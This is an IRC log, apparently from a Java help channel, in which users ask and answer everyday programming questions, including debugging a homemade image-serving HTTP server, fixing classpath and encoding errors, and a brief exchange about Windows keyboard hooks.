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[14:22:46] <fforw> R3d: use java.math.BigInteger
[14:23:11] <R3d> I'm looking at it.. thanks :)
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[14:26:43] <Stork> when your computer case wont come off, just rip it off with a screwdriver
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[14:36:27] <terence_> hi
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[14:44:09] * omay must now use copy paste in a java program :'(
[14:53:45] <ownagesbot|meh> lol Stork
[14:53:45] <ownagesbot|meh> sup
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[14:54:38] <Stork> what?
[14:55:23] <Stork> ?
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[14:58:10] <Stork> great
[14:58:20] <Stork> i just opened my pc to fix the on/off button
[14:58:25] <Stork> closed it up again
[14:58:29] <Stork> started it up
[14:58:35] <Stork> and realised i don't know the system password
[14:58:38] <Stork> now that's gay!
[14:58:50] <Drone> View Client's post at:  http://eugeneciurana.com/pastebin/pastebin.php?show=8342
[14:59:46] <JoeGuy> erm.. that was my post, Client is the name of the class
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[15:00:08] <JoeGuy> anyways, can someone help with writing to a socket channel?
[15:02:42] <terence_> does someone know where to get all city districts,streets of any city in electronic format?
[15:03:34] *** JoeGuy2 has joined ##java
[15:03:49] <JoeGuy2> sorry, my net is taking it up the batty
[15:04:10] <JoeGuy2> so yeah, can someone help me with writing a file to a socket channel?
[15:05:15] <Drone> View JoeGuy2
[15:05:42] <JoeGuy2> and this is what my server is.. http://eugeneciurana.com/pastebin/pastebin.php?show=8343
[15:06:08] <JoeGuy2> im having trouble getting a file to and from the socketchannel
[15:07:55] <[algo]> how to serialize object into XML ?
[15:08:10] <[algo]> any special interface/framework for that ?
[15:08:20] <JoeGuy2> mm quiet in here
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[15:08:57] <nuri> hi
[15:09:01] <JoeGuy2> hi
[15:09:08] <nuri> has anyone put together a java plug-in for an internet browser before?
[15:10:48] <nuri> ?
[15:11:04] <JoeGuy2> mmmm its quiet today..
[15:11:07] <JoeGuy2> no one really talking
[15:11:29] <nuri> hmm
[15:12:02] <nuri> i basically want to put a "skin" over an internet page
[15:12:12] <nuri> with dynamic data based on that pages html
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[15:12:58] <JoeGuy2> and i wanna read and write a file to and from a socket channel, but.. no one speaky
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[15:39:51] <karthik_2000b> Greetings
[15:39:59] <karthik_2000b> I have a small problem
[15:40:12] <karthik_2000b> I can see text in arabic in my eclipse editor
[15:40:27] <karthik_2000b> but when i compile and deploy its all garbled
[15:40:35] <karthik_2000b> any ideas plz
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[15:45:43] <R3d> shouldn't you ask this on #eclipse?
[15:48:37] <Stork> he's got a point
[15:50:34] <karthik_2000b> will try
[15:50:36] <karthik_2000b> thanks
[15:50:42] <karthik_2000b> but its general
[15:50:50] <karthik_2000b> i mean in my java files i have arabic text
[15:51:00] <karthik_2000b> and when i compile and run it looks garbled
[15:51:25] <karthik_2000b> i can it in source but not in display properly btw display is in mobile
[15:56:46] <fforw> karthik_2000b: set the correct character encoding for your java compiler
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[16:00:05] <karthik_2000b> fforw its Cp1256
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[16:05:37] <fforw> karthik_2000b: I don't know any specifics but it sounds as though eclipse knows the correct encoding for the editor, but fails to set the correct encoding for the compiler.
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[16:07:58] <cored> pr3d4t0r: are you around ?
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[16:23:29] <Hikaru79> I opened a project on Netbeans in Linux that was on an NFS-mounted directory, and it opened it, but it gave this warning: "Warning: no locks available". Anyone know what that means? Google doesn't return anything useful.
[16:24:02] * fforw vaguely remembers general issues with locking on NFS directories
[16:24:34] <Hikaru79> Were they solve-able?
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[16:27:08] <fforw> Hikaru79: don't remember
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[16:30:56] <Hikaru79> What's really amazing is how google finds *nothing* else about this issue anywhere.
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[16:33:17] <IseeIsee> why do we write a public before a class name ?
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[16:33:51] <jwormy> IseeIsee, its our way of saying who is aloud to access our class
[16:34:12] <fforw> without "public" only classes in the same package can access the clas
[16:34:14] <fforw> s
[16:34:19] <Hikaru79> Interesting, the problem seems to be fixed in the Netbeans 5.0 beta...
[16:36:56] <IseeIsee> ok
[16:37:18] <IseeIsee> by the same package you mean in the same folder ?
[16:37:49] <Hikaru79> IseeIsee, he means in the same package. You define the package in the first line of the program.
[16:37:57] <Hikaru79> AKA, 'package mygame'
[16:38:38] <IseeIsee> AKA stands for ?
[16:38:47] <fforw> IseeIsee: if classes are e.g. put into a .jar file, there are no directories..
[16:38:53] <fforw> IseeIsee: also known as
[16:39:49] <Stork> god damn it!
[16:39:57] <Stork> iexplorer is so damn fussy
[16:40:22] <Stork> i can't get it to display images from my server!
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[16:43:02] <Stork> anyone help me! ^^
[16:43:02] <Drone> View Stork's post at:  http://eugeneciurana.com/pastebin/pastebin.php?show=8344
[16:43:04] <Stork> anyone help me! ^^
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[16:44:20] <Stork> please ;)
[16:46:15] <Hikaru79> Is there any way to get java.util.Properties to work with Unicode-enabled load() files?
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[16:47:04] <fforw> Stork: why don't you use the servlet-api?
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[16:47:21] <Stork> which one's that?
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[16:48:32] <Stork> ??
[16:48:34] <fforw> http://java.sun.com/products/servlet/ with tomcat being the most popular implementation http://tomcat.apache.org/
[16:48:38] <bpalmer> why would you use a dataoutputstream instead of a simple outputstream?
[16:48:45] <Stork> seemed easier
[16:49:26] <bpalmer> my suspicion is that a DataOutputStream is inserting some amount of metadata into the stream
[16:49:26] <Stork> Clackwell: my application works perfectly with firefox, just not ie
[16:49:35] <Stork> well , my application works perfectly with firefox, just not ie
[16:49:39] <bpalmer> since it's designed to deal specifically with java datatypes, for portability
[16:49:47] <Stork> oh, i see
[16:50:15] <minisu> I heard there was a problem with the Scanner clas in NetBeans 4.0. But I got problems with 4.1 and Scanner: It can't find the class 'Scanner'.
[16:50:25] <bpalmer> but I've never used a DataOutputStream in anger, so am not sure
[16:51:35] <Stork> so i'd use
[16:51:52] <Stork> OutputStream.write(String.getBytes()); ?
[16:52:16] <Hikaru79> When's the ETA for Netbeans 5.0?
[16:52:26] <fforw> Stork: why do you reinvent the wheel?
[16:52:42] <fforw> Hikaru79: december
[16:52:48] <Hikaru79> fforw, thanks :
[16:52:49] <Hikaru79> *:)
[16:52:52] <pr3d4t0r> ::yawn::
[16:52:55] <pr3d4t0r> Good morning.
[16:53:13] <ernimril> Hello pr3d4t0r
[16:53:23] <minisu> Do I have to wait for Netbeans 5.0?
[16:53:31] <cored> pr3d4t0r: good morning
[16:53:47] <fforw> minisu: I don't even know the "Scanner" class
[16:54:23] <pr3d4t0r> cored: Bueans.
[16:54:45] <bpalmer> minisu: I think it's like santa clause, it won't get released as long as you're awake
[16:55:27] <minisu> ok......
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[16:55:47] <bpalmer> just be a good boy or girl, eat your vegetables, and sleep in
[16:56:09] <minisu> fforw: the scanner class is the class that my java book uses dor user input
[16:56:31] <minisu> "for"
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[16:57:52] <minisu> (System.in)
[16:57:56] <Stork> fforw. what?
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[16:58:38] <Stork> fforw: what?
[16:58:49] <Stork> why am i re-inventing the wheel :|
[16:59:02] <fforw> Stork: it makes little sense to reimplement a http server without real need when there are so many already available ( see tomcat http://tomcat.apache.org/)
[16:59:15] <Stork> i don't want an http server...
[16:59:26] <Stork> just something that returns an image via http when someone connects..
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[16:59:48] <fforw> Stork: that is a http server =)
[17:00:16] <Stork> yes but what's the point in implementing a server when all i need is that
[17:00:38] <fforw> you don't need to implement a server, just to download and install it
[17:00:49] <ernimril> fforw: depends on the definition of connects, if the client only opens a socket and does not send a http request it is questionable if the server is a http server... (but yes you are correct)
[17:01:23] * ernimril is building a http proxy at the moment
[17:01:28] <fforw> ernimril: Stork's paste sends HTTP-Headers over outputstreams
[17:01:43] <ernimril> fforw: ah, did not know that.. :-)
[17:02:15] <bpalmer> if the client does not actually pay attention to the http request but always does its own thing, it's also arguable if it's an http server
[17:02:17] <ernimril> Stork: 1) you do not want to do http by yourself 2) you do not want to do http by yourself 3) you do not want to do http by yourself
[17:02:25] <Stork> everyone says that
[17:02:31] <Stork> i'm fucking pissed off with hearing it
[17:02:37] <bpalmer> (among other things, Stork may or may not be caring about sending head vs body requests)
[17:02:43] <Stork> fine, i'll stop the fucking project
[17:02:53] <bpalmer> Stork: good grief
[17:03:09] <fforw> Stork: use your energy for cool new stuff ;)
[17:03:30] <Stork> i'm not writing a server for christ sake
[17:03:31] <ernimril> Stork: my web proxy is one of few that has passed a _BIG_ test suite for http/1.1 compliance. Http/1.1 is very complicated.
[17:03:31] * bpalmer also sighs at ernimril and fforw discouraging stork
[17:04:09] <ernimril> Stork: both client and server side. So it is much easier and faster to use the existing tools available
[17:04:16] <fforw> bpalmer: there are already more than enough half-baked http servers on the net
[17:04:24] <Stork> oh god
[17:04:33] <bpalmer> May I summarize what I'm hearing? stork wants an image delivery protocol. He's pretending it's http just enough so that he can take advantage of existing http-speaking image viewers (web browsers)
[17:04:36] <ernimril> Stork: if it is for learning more about http it is ok though
[17:04:50] <Stork> it works fine in firefox
[17:05:05] <Stork> those using firefox can check out http://86.81.115.45/
[17:05:13] <Stork> it works fine
[17:05:18] <Stork> except with ie
[17:05:56] <fforw> doesn't work in ff nor wget for me..
[17:06:03] <Stork> oops
[17:06:10] <Stork> http://81.86.115.45/
[17:06:15] <Stork> forgot my ip :\
[17:07:02] <Stork> i'm wondering why it doesn't work in ie
[17:07:04] <minisu> Ok, so I have to give up Netbeans, I tried to run my programfrom command line instead (first time). ">>java Main.java". I got this error "Exception in thread "main" java.lang.NoClassDefFoundError: Main/Java". Help...!
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[17:07:42] <fforw> minisu: java expects a class name and no file
[17:07:49] <kilere> my project is a distributed application.......how can i use the context parameters of one web application in another? is it possible
[17:07:53] <kilere> ?
[17:08:04] <kilere> its an application initialization parameters(cp)
[17:08:04] <fforw> minisu: java -cp <dir> Main
[17:08:07] <kilere> one per JVM
[17:08:17] <Drone> That URL gave the following error: java.net.ConnectException, Connection timed out
[17:08:19] <kilere> but it is accessible to only one app. but my project is distributed..
[17:08:20] <pr3d4t0r> kilere: Use a database and/or a caching server.
[17:08:46] <Stork> so, anyone?
[17:09:05] <Stork> how does it work in firefox and not in ie
[17:09:25] <ernimril> Stork: Content-Length and file size seems to differ...
[17:09:26] <bpalmer> Stork: fforw has a great suggestion, use wget
[17:09:40] <ernimril> Stork: 29227 vs 27642
[17:09:43] <kilere> ive reached this far pr3d4t0r
[17:09:53] <kilere> then ycan i write the parameters to an outside source and read them into the second application?
[17:09:58] <Stork> i used new File("image.jpg").length();
[17:10:05] <Stork> bpalmer: what is wget?
[17:10:20] <bpalmer> ~wget
[17:10:21] <javabot> bpalmer, I have no idea what wget is.
[17:10:55] <bpalmer> ~wget is a simple client for retrieving files via http,https,and ftp; see its homepage at http://www.gnu.org/software/wget/wget.html
[17:10:56] <javabot> Okay, bpalmer.
[17:11:08] <minisu> fforw: Tried "java -cp Main" from the same dir as the file "Main.java", also tried "java -cp . Main" (where "." stands for active dir), but I can't get it to work.
[17:11:12] <bpalmer> that way you can just do a byte-byte comparison with the original file
[17:11:20] <fforw> Stork: best is wget -S which prints the received headers
[17:11:39] <ernimril> or just learn to use ethereal
[17:11:40] <bpalmer> minisu: you need to first compile your application (javac Main.java )
[17:11:40] <kilere> so what would be an ideal way to do this pr3d4t0r?
[17:11:55] <ernimril> Stork: oh, you serve different images each time?
[17:11:59] <Stork> yes
[17:12:02] <bpalmer> minisu: see the getting started in java tutorial
[17:12:05] <fforw> minisu: oh.. you have to compile .java file of course..
[17:12:18] <ernimril> Stork: ok, then the Content-Length and file size seems to match...
[17:12:28] <kilere> thanks
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[17:12:38] <Stork> i'll show you what my header could look like
[17:12:44] <minisu> my windows can't find the command javac
[17:12:49] <minisu> already tried that
[17:13:02] <minisu> (took it from the tutorial)
[17:13:03] <bpalmer> Stork: while you're debugging, I'd suggest making it always send the same image
[17:13:12] <bpalmer> (basic debugging tip: reduce the number of variables)
[17:13:13] <fforw> minisu: you must install a java SDK, a JRE is not enough
[17:13:18] <Stork> HTTP/1.1 200 OK\r\n
[17:13:19] <Stork> Content-Type: image/jpg\r\n
[17:13:19] <Stork> Content-Length: 27900\r\n\r\n
[17:13:47] <minisu> fforw: isn't the java SDK included in netbeans enough?
[17:14:27] * bpalmer goes back to bed
[17:14:29] <fforw> minisu: yes.. if you have a SDK it's most like a PATH issue..
[17:14:51] <fforw> Stork: try sending back in HTTP/1.0 to avoid keep-alive issues
[17:14:56] <Stork> alright
[17:15:36] <minisu> i'll try to fix the paths
[17:16:27] <Stork> how would using ethereal help?
[17:16:33] <fforw> minisu: if java works but javac not your path may include only the jre/bin dir inside the SDK
[17:16:42] <ernimril> Stork: you see the traffic and can compare
[17:16:52] <ernimril> Stork: _all_ network packets
[17:17:03] <minisu> understood
[17:17:05] <Stork> compare with what?
[17:17:21] <ernimril> Stork: compare a ff trace with a IE trace
[17:17:32] <Stork> fair enough
[17:17:54] <ernimril> Stork: and you can save the trace to a file and then (after minor editing) compare that to the original image
[17:18:27] <Stork> i see
[17:22:18] <minisu> fforw: sweet, works. I will try the scanner class now
[17:22:25] <minisu> thanks!
[17:22:36] <fforw> np
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[17:25:48] <Stork> eurgh
[17:27:21] <fforw> ?
[17:27:24] <Stork> how does streaming video work?
[17:27:38] <ernimril> Stork: generally quite bad
[17:27:41] <fforw> now you want to reinvent streaming video? =)
[17:28:03] <Stork> ignored
[17:28:20] <fforw> sorry.. no offense
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[17:42:16] <aneville-> anyone alive?
[17:42:41] <ernimril> aneville-: no?
[17:42:50] <aneville->    public static int[][] coords = new int[10][]
[17:42:50] <aneville->    coords[0] = new int[100];
[17:42:54] <aneville-> oops sorry
[17:43:12] <aneville-> quick question regarding arrays.. want to create one to hold an x and y value
[17:43:42] <aneville-> once i created the 2 dimensional array, how do i go about assigning coordinates to them?
[17:44:00] <ernimril> aneville-: java only have single dimension arrays
[17:44:03] <aneville-> i know when i create a single dimension array i can just use coords[3] = 3; or whatever
[17:44:19] <ernimril> aneville-: (arrays may hold array references though)
[17:44:28] <aneville-> ah well
[17:44:31] <aneville-> that then.
[17:44:44] <aneville-> im kinda new to java..
[17:44:54] <ernimril> ~tell aneville- about arrays
[17:44:55] <javabot> aneville-, arrays is http://java.sun.com/tutorial/java/data/arrays.html
[17:45:06] <aneville-> anything specific to x,y coordinates?
[17:45:37] <ernimril> aneville-: that tutorial holds all the information you need. Read it
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[17:45:59] <aneville-> ok cool thanks
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[17:57:16] <Stork> i don't understand what's going wrong
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[17:59:20] <ernimril> Stork: pastebin the information you have....
[17:59:43] <Stork> sec
[18:00:27] <Stork> let me try this first
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[18:01:02] <Stork> by using a plugin for ie i can see that ie doesn't even get a response from the server
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[18:03:39] <Stork> wait
[18:03:41] <Stork> now it does
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[18:05:47] <Drone> View Stork's post at:  http://eugeneciurana.com/pastebin/pastebin.php?show=8345
[18:05:49] <Stork> ernimril ^
[18:06:09] <Stork> it's at http://81.86.115.45/
[18:09:18] <ernimril> Stork: is that the server, the client or just some random code? (ok, it looks like the server)...
[18:09:43] <Stork> the client is internet explorer
[18:09:53] <Stork> that's the main bit of the server
[18:09:57] <ernimril> Stork: readBytes does not read any bytes, change the name please
[18:10:06] <Stork> alright
[18:10:19] <ernimril> Stork: does your server really accept byte-range requests?
[18:10:29] <Stork> i have no idea
[18:10:33] <ernimril> Stork: or persistent connections?
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[18:10:46] <Stork> i have no idea
[18:10:54] <Stork> but that's what i saw when i tried a few random images off google
[18:10:56] <ernimril> Stork: set the version to HTTP/1.0 and remove the headers that lie
[18:11:16] <ernimril> Stork: yes, but that was against a server that actually supports both..
[18:11:28] <Stork> oh, i see
[18:11:46] <ernimril> Stork: remove "Accept-Ranges..." and all keep-alive headers,
[18:12:17] <Stork> okay
[18:12:33] <ernimril> Stork: it looks a bit funny that Content-Type gets an extra \r\n at the end, why not remove those characters and do a SendHeader("") after the content type instead?
[18:12:48] <Stork> fair enough
[18:13:02] <ernimril> Stork: why do you send the empty header after the sendBytes?
[18:13:19] <ernimril> Stork: (you do not need it)
[18:13:22] <Stork> to let the client know that the stream has finished
[18:13:24] <Stork> oh, okay
[18:13:39] <Stork> i guess the closing of the stream would show that too :\
[18:13:54] <ernimril> Stork: you already told the client how many bytes your resource is and you are closing the connection, both makes the client stop reading
[18:14:02] <Stork> fair enough
[18:14:32] <ernimril> Stork: the date header is wrong. It does not follow the http specification
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[18:15:22] <Stork> it's not?
[18:16:16] <ernimril> no it is not, you get a correct date by formatting with a: new SimpleDateFormat ("EE, dd MMM yyyy HH:mm:ss 'GMT'", Locale.US);
[18:16:45] <Stork> what does Locale.US do?
[18:16:57] <Stork> wouldn't that mean it uses an american date format?
[18:17:03] <Stork> i mean
[18:17:04] <ernimril> Stork: make sure that month names come out in american english
[18:17:06] <Stork> american time*
[18:17:11] <Stork> oh, i see
[18:17:36] <ernimril> Stork: check the javadoc for more information about the pattern
[18:18:11] <Stork> alight
[18:18:26] <Stork> it almost works now
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[18:18:34] <ernimril> almost?
[18:19:11] <ernimril> Stork: which lines have I missed to complain about? ;-)
[18:19:19] <Stork> lol
[18:19:26] <Stork> well it works 1/3 or so times
[18:20:39] <ernimril> Stork: ok, I have to go and make some dinner so have fun debugging the rest. Learn to use etheral and see what data you send when it works and when it fails...
[18:20:49] 
[18:20:59] <minisu> s/too/to
[18:21:06] <Stork> ethereal can't sniff n the loclhost can it?
[18:21:14] <Stork> ernimril: bon appetit
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[18:24:52] <IseeIsee> why is it recommended to use the repaint method rather then paint ?
[18:26:41] <fforw> I think the issue was repaint() clearing the component, leading to flicker
[18:27:29] <IseeIsee> can you explain plz
[18:28:19] <fforw> repaint() clears the component area with the background color before redrawing it. that can be a problem as you can see the area flickering shortly because of it.
[18:29:25] <Honk^away> that's better than having display distortion though ;)
[18:29:35] <IseeIsee> and what would paint do ?
[18:30:59] <fforw> paint the component
[18:31:53] <IseeIsee> I mean whats the difference between paint & repaint
[18:32:52] <Clackwell> telling to paint vs. actually painting
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[18:38:40] <flippo> And paintComponent is where the implementation should probably go
[18:38:55] <flippo> (assuming it's swing)
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[18:53:37] <sayonara> hi folks
[18:53:57] <sayonara> how can i find out the current screen resolution?
[18:55:31] <Stork> try google
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[18:55:38] <fforw> Toolkit.getDefaultToolkit().getScreenSize()
[18:55:43] <ernimril> ~tell sayonara about javadoc GraphicsDevice
[18:55:43] <javabot> sayonara, please see java.awt.GraphicsDevice: http://java.sun.com/j2se/1.5.0/docs/api/java/awt/GraphicsDevice.html
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[18:55:56] <fforw> java.awt.Toolkit.getDefaultToolkit().getScreenSize() to be exact
[18:56:15] <sayonara> hey thank you guys
[18:56:34] <sayonara> does this only work with java5 (aka tiger) or also with 1.4
[18:56:35] <sayonara> ?
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[18:57:10] <fforw> i think my method even existed in java1.1
[18:57:36] <sayonara> ok thx
[18:57:42] <ernimril> sayonara: read the javadoc and find out
[18:58:00] <aneville-> how should i set the amount of rows in a coord?
[18:58:01] <aneville->    coords[0] = new int[10];
[18:58:02] <aneville-> ?
[18:58:11] <aneville-> coord = array
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[18:59:08] <ericP> if i'm using SAX2 and i need to do namespace expansion on some attribute values (and my parser has the namespace handler), how do i get the current namespace context?
[18:59:48] <ericP> this must have been solved for apps like XML Schema, WSDL, and anything else with namespaced values like name="foo:bar"
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[19:02:52] <Stork> how does streaming video work?
[19:05:43] <bpalmer> through the power of SCIENCE!</that third movie in the mummy series>
[19:06:39] <ericP> crap, and all this time i've been spilling goat's blood
[19:07:03] <Clackwell> ;)
[19:07:24] <bpalmer> ericP: At least you've been enjoying the kebab, right?
[19:07:26] <Clackwell> so much for generic answers to generic questions
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[19:07:48] <ericP> mmm, kebab
[19:08:00] <fforw> ericP: exactly my thoughts
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[19:08:06] <Stork> generics are cool
[19:08:24] <Stork> how does streaming video work?
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[19:08:43] <Clackwell> you have to sacrifice 10 kitten to the GOD of Video Streaming
[19:09:03] <Clackwell> (and then you can go about the kebap preparation)
[19:09:04] * ericP gives up trying to wrestle the namespace context out of the parser, and just do it all downstream (ala "http://xml.org/sax/features/namespaces", 0)
[19:09:05] <Drone> That URL gave the following error code: 404 Not Found
[19:10:55] <Stork> seriously, how does streaming video work?
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[19:11:13] <Stork> http://drone-is.silly/
[19:11:13] <Drone> That URL gave the following error: java.net.UnknownHostException, drone-is.silly
[19:11:31] <ernimril> Stork: 1) that is not java, 2) that question is too wide, specify it
[19:11:33] <Clackwell> Stork: possibly related: http://www.google.com/search?complete=1&hl=en&q=how+does+video+streaming+work&btnG=Google+Search
[19:11:46] <Stork> Clackwell: i'm trying to do it with java
[19:11:48] <Stork> omg
[19:11:53] <Stork> sorry, auto complete (again)
[19:12:15] <Clackwell> Stork: video streaming with java? badly, as i hear. :)
[19:12:20] <Stork> i see
[19:12:35] <Clackwell> Stork: possibly related: http://www.google.com/search?complete=1&hl=en&lr=&c2coff=1&q=video+streaming+java&btnG=Search
[19:12:50] <Clackwell> Stork: possibly related: http://www.google.com/search?complete=1&hl=en&lr=&c2coff=1&q=video+streaming+java+example&btnG=Search
[19:12:54] <Clackwell> need more? :]
[19:12:55] <ericP> looks like a dearth of both SAX and video streaming experts here today
[19:13:18] <Stork> naah thanks :p
[19:13:29] <Stork> what i think i'll do is just make the page refresh every 5 seconds
[19:13:42] <mohadib> JMF has some rtp classes iirc
[19:14:23] <Clackwell> jmf certainly has support for it.
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[19:15:48] <Stork> it'd be much easier to just make it refresh the page
[19:16:15] <mohadib> Stork: how is refreshing the page anything like streaming video?
[19:16:17] <mohadib> it's not
[19:16:51] <Clackwell> maybe it is a "good enough" solution.
[19:17:12] <mohadib> well , page refreshing is nothing like streaming videop
[19:17:24] <mohadib> so maybe Stork is confused as to what he actually needs
[19:17:49] <Stork> streaming video was a bad idea
[19:18:00] <Stork> i'll show you what my application does rather then explaining it
[19:18:03] <bpalmer> hmm, refreshing an html page 30 times per second...
[19:18:10] <mohadib> heh
[19:18:14] <Stork> forget that i said that
[19:18:20] <mohadib> flash ony does 12 frames a second
[19:18:25] <mohadib> by default
[19:18:26] <Stork> http://81.86.115.45/
[19:18:37] <Stork> it takes screenshots of a game then sends them to you
[19:18:41] <bpalmer> egads, no wonder people distribute divx instead of flash files
[19:18:46] * Clackwell doesn't dare opening that url, afraid he might see Stork nekkid in front of his computer
[19:18:57] <Stork> damn you found me
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[19:19:21] <mohadib> Stork: streaming vidoe with flash is really easy
[19:19:31] <Stork> it is?
[19:19:34] <mohadib> yes
[19:19:53] <Stork> i'll look into that
[19:20:03] <mohadib> very simple ,  this took about 1/2 hour   http://www.bobshapirocomedyvideo.com
[19:20:12] <mohadib> it's ugly :p
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[19:20:24] <Stork> meanwhile i think i'll just use javascript to refresh the page
[19:21:03] <Clackwell> stamp sized video, yippie!
[19:21:07] <mohadib> hha
[19:21:13] <mohadib> Clackwell: you can maximize it
[19:21:26] <mohadib> the little triangle in the upper right corner
[19:21:39] <Clackwell> mohadib: no such thing here
[19:21:44] <Clackwell> old plugin perhaps?
[19:21:49] <Clackwell> 7...
[19:22:18] <mohadib> hmm , it is built using flashmx
[19:22:42] <mohadib> should not work at all with older plugins , the triangle buttonis very small
[19:22:53] <mohadib> anywhoo , flash makes it really easy
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[19:23:09] <Clackwell> mohadib: oh, see it now, right ! :)
[19:23:12] <mohadib> :p
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[19:23:20] <ernimril> Stork: why use javascript when you can use http?
[19:23:28] <Clackwell> post card sized video streaming!
[19:23:31] <Stork> to refresh the page?
[19:23:32] <mohadib> hah
[19:23:37] <ernimril> Stork: yes...
[19:23:43] <mohadib> Stork: you can use ajax and not have to refresh the page
[19:23:50] <Stork> ???
[19:24:13] <mohadib> you can make http conections in the background and grab the next pic with javascript
[19:24:15] <ernimril> Stork: try to set a header "Refresh: 10;url=http://google.com/"
[19:24:21] <mohadib> this is faster that a refresh
[19:24:55] <Stork> confusing
[19:24:56] <Stork> !
[19:25:08] <ernimril> mohadib: faster? you are replacing the entire image, that is you are loading a new image if you do it with a page refresh (or javascript does not matter for speed)
[19:25:16] <Stork> yes, grabbing the next pic sounds cooler
[19:25:21] <Stork> sounds faster*
[19:25:31] <mohadib> ernimril: typicaly people have more html onb a page that one pic
[19:25:45] <mohadib> so , its faster just to replace the picture
[19:25:47] <ernimril> and please note that network connections are way slower than running javascript or whatever the client does
[19:25:50] <mohadib> not all the html too
[19:26:18] <ernimril> mohadib: and you get back/forward-buttons in your browser that stop working...
[19:26:27] <mohadib> ernimril: so
[19:26:33] <mohadib> check out google maps
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[19:26:46] <witblitz> "I get a java.lang.NoClassDefFoundError : SomeClass (wrong name: za/ac/up/bah/SomeClass) . Any ideas what could result in a wrong name error? (using a package za/ac/up/bah)" ?
[19:26:49] <ernimril> mohadib: ajax can be good in some rare occasions, replacing one image is not a good thing for it
[19:27:02] <mohadib> ernimril: iyho
[19:27:15] <awayfromHome> hello, i need to make a windows keyboard hook. i know its a .dll, but i cant find any examples of how to do this in java
[19:27:17] <Clackwell> " ?
[19:27:33] <awayfromHome> does anyone know a site
[19:27:38] <mohadib> sure
[19:27:40] <mohadib> google.com
[19:27:45] <Clackwell> awayfromHome: you need to find out how to do that in windows. then you write a jni lib to make that functionality accessible to java.
[19:28:50] <Clackwell> awayfromHome: you can also avoid jni, but java developers are typically afraid of having their solutions consists of more than one process.
[19:29:19] <mohadib> javascript refreshes are also nice casue you can modifiy the headers and still be able to refresh
[19:29:39] <ernimril> mohadib: how many people have javascript turned off?
[19:29:50] <mohadib> not many i would think
[19:29:52] <mohadib> mybe popups
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[19:30:16] <Clackwell> ernimril: they want to be peeping toms? then they have to have javascript enabled for pete's sake!
[19:30:23] <Clackwell> ;)
[19:31:05] <awayfromHome> but what im confused on, is what language do i actually write the .dll in, ive seen examples of it done in delphi programs
[19:31:16] <awayfromHome> they have the hook inside of the program that calls it
[19:31:18] <awayfromHome> as a function
[19:31:48] <awayfromHome> its just an api, why cant i call it directly by importing some package
[19:32:00] <Clackwell> awayfromHome: technically it does not matter as long as the compiler spits out a standard shared lib.
[19:32:13] <ernimril> awayfromHome: you can write your .dll:s in all languages that can do a c-style method export
[19:32:40] <ernimril> awayfromHome: typically you use C or C++ but you can do it in many other languages as well
[19:32:47] <awayfromHome> java?
[19:32:54] <ernimril> no, not in java
[19:33:12] <ernimril> well, you can, if you use gcj, but you do not want to do that yet...
[19:33:16] <Clackwell> awayfromHome: if you could do it in java, what would be the point of jni?
[19:33:38] <shingoki> there would be no point... and we could all write native Java apps! :)
[19:34:00] <mohadib> that would be cool
[19:34:55] <awayfromHome> so if i only know java, i cant make a key board hook?
[19:35:00] <awayfromHome> is basically what youre saying
[19:35:03] <mohadib> no
[19:35:07] <mohadib> you cantg
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[19:35:25] <mohadib> awayfromHome: are you trying to make a keylogger?
[19:35:28] <awayfromHome> no
[19:35:31] <awayfromHome> im not
[19:35:38] <mohadib> wehat do you need from the keyboard that you cant already get?
[19:35:45] <Clackwell> mohadib: shortcut manager
[19:35:55] <mohadib> ahh
[19:36:00] <Clackwell> i use one on windows as the standard functionality in explorer.exe is b0rked.
[19:36:26] <Clackwell> keyboard shortcuts for often used stuff is so much nicer than mousing your way to it
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[19:36:33] <mohadib> yep
[19:36:35] <awayfromHome> for components without .getText()
[19:36:40] <awayfromHome> i need to see the text
[19:36:47] * Clackwell eyes awayfromHome
[19:36:48] <mohadib> awayfromHome: use a keylistener
[19:36:52] <Clackwell> ~confuse awayfromHome
[19:36:53] <javabot> yes, them is your JDK tomorrow, awayfromHome? At least that's what the manager of kaffe said, with extra herring
[19:36:59] <mohadib> haha
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[19:37:19] <awayfromHome> ok
[19:37:24] <awayfromHome> that would work
[19:38:21] * Clackwell notes that mohadib speaks the code awayfromHome is communicating in
[19:38:28] <mohadib> haha
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[19:39:37] <awayfromHome> i need them to be able to type into more than just JTextField, JTextArea, etx
[19:39:45] <awayfromHome> its for a program
[19:40:01] * doc|home boggles
[19:40:02] <Stork> god i love generics
[19:40:19] <Clackwell> i can't stand them. too complex. :)
[19:40:25] <rogue-kun{B}> awayfromHome um pract every thin that despats text   [even lablkes] have .setText() and .getText()
[19:40:41] <awayfromHome> i need it for all componenets
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[19:41:14] <awayfromHome> you would understand if i read the project i want to make k
[19:41:31] <mohadib> awayfromHome: so you are trying to make global shortcuts?
[19:41:37] <awayfromHome> no
[19:41:45] <mohadib> wtf are you trying to do
[19:41:55] <Clackwell> awayfromHome: there is some central keyboard hook in the keyboard and focus management stuff of java.
[19:42:29] <awayfromHome> one part is, they can type anywhere in the frame, and then i spit out what they wrote
[19:42:36] <awayfromHome> not just in text areas
[19:42:46] <mohadib> what good does that do
[19:42:53] <awayfromHome> its for my project man
[19:42:57] <mohadib> ok
[19:43:03] <awayfromHome> *glares
[19:43:07] * Clackwell waits for awayfromHome to come down and start googling
[19:43:14] <ernimril> awayfromHome: you want a user interface that works very differently from every program out there?
[19:43:14] <awayfromHome> i dont need to
[19:43:31] <awayfromHome> ill just use keyboard listener
[19:43:57] <mohadib> ...
[19:43:59] <Clackwell> awayfromHome: some components may not even get/generate keyboard events, in that case...
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[19:44:12] <mohadib>  *coughjackass*
[19:44:20] <awayfromHome> yup
[19:44:38] <awayfromHome> im reading jni for future reference
[19:44:43] <rogue-kun{B}> Clackwell: simple he wil just extend those classes that dont and ad the interface ;)
[19:44:47] <Clackwell> awayfromHome: jni is the wrong tool.
[19:44:55] <awayfromHome> i know
[19:44:59] <awayfromHome> but its interesting
[19:45:03] <Clackwell> of course you do...
[19:45:04] <awayfromHome> and i may need it down the road
[19:45:12] <mohadib> ~clackwell++
[19:45:13] <javabot> clackwell has a karma level of 21, mohadib
[19:45:31] <Clackwell> where's roots when you need him
[19:45:45] <awayfromHome> wtf, im not doing anything wrong
[19:45:50] <awayfromHome> i dont want to type out my project
[19:45:56] <shingoki> awayfromHome, apart from being a jackass you mean?
[19:46:00] <awayfromHome> how am i ?
[19:46:02] <mohadib> hahaha
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[19:46:29] <awayfromHome> if you dont like my questions, idle
[19:46:31] <mohadib> awayfromHome: dont worry , you dont have what they call the "Social Skills" ;)
[19:46:34] <IseeIsee> how do you declare an int array in Java ?
[19:46:34] <awayfromHome> simple
[19:46:46] <ernimril> ~tell IseeIsee about arrays
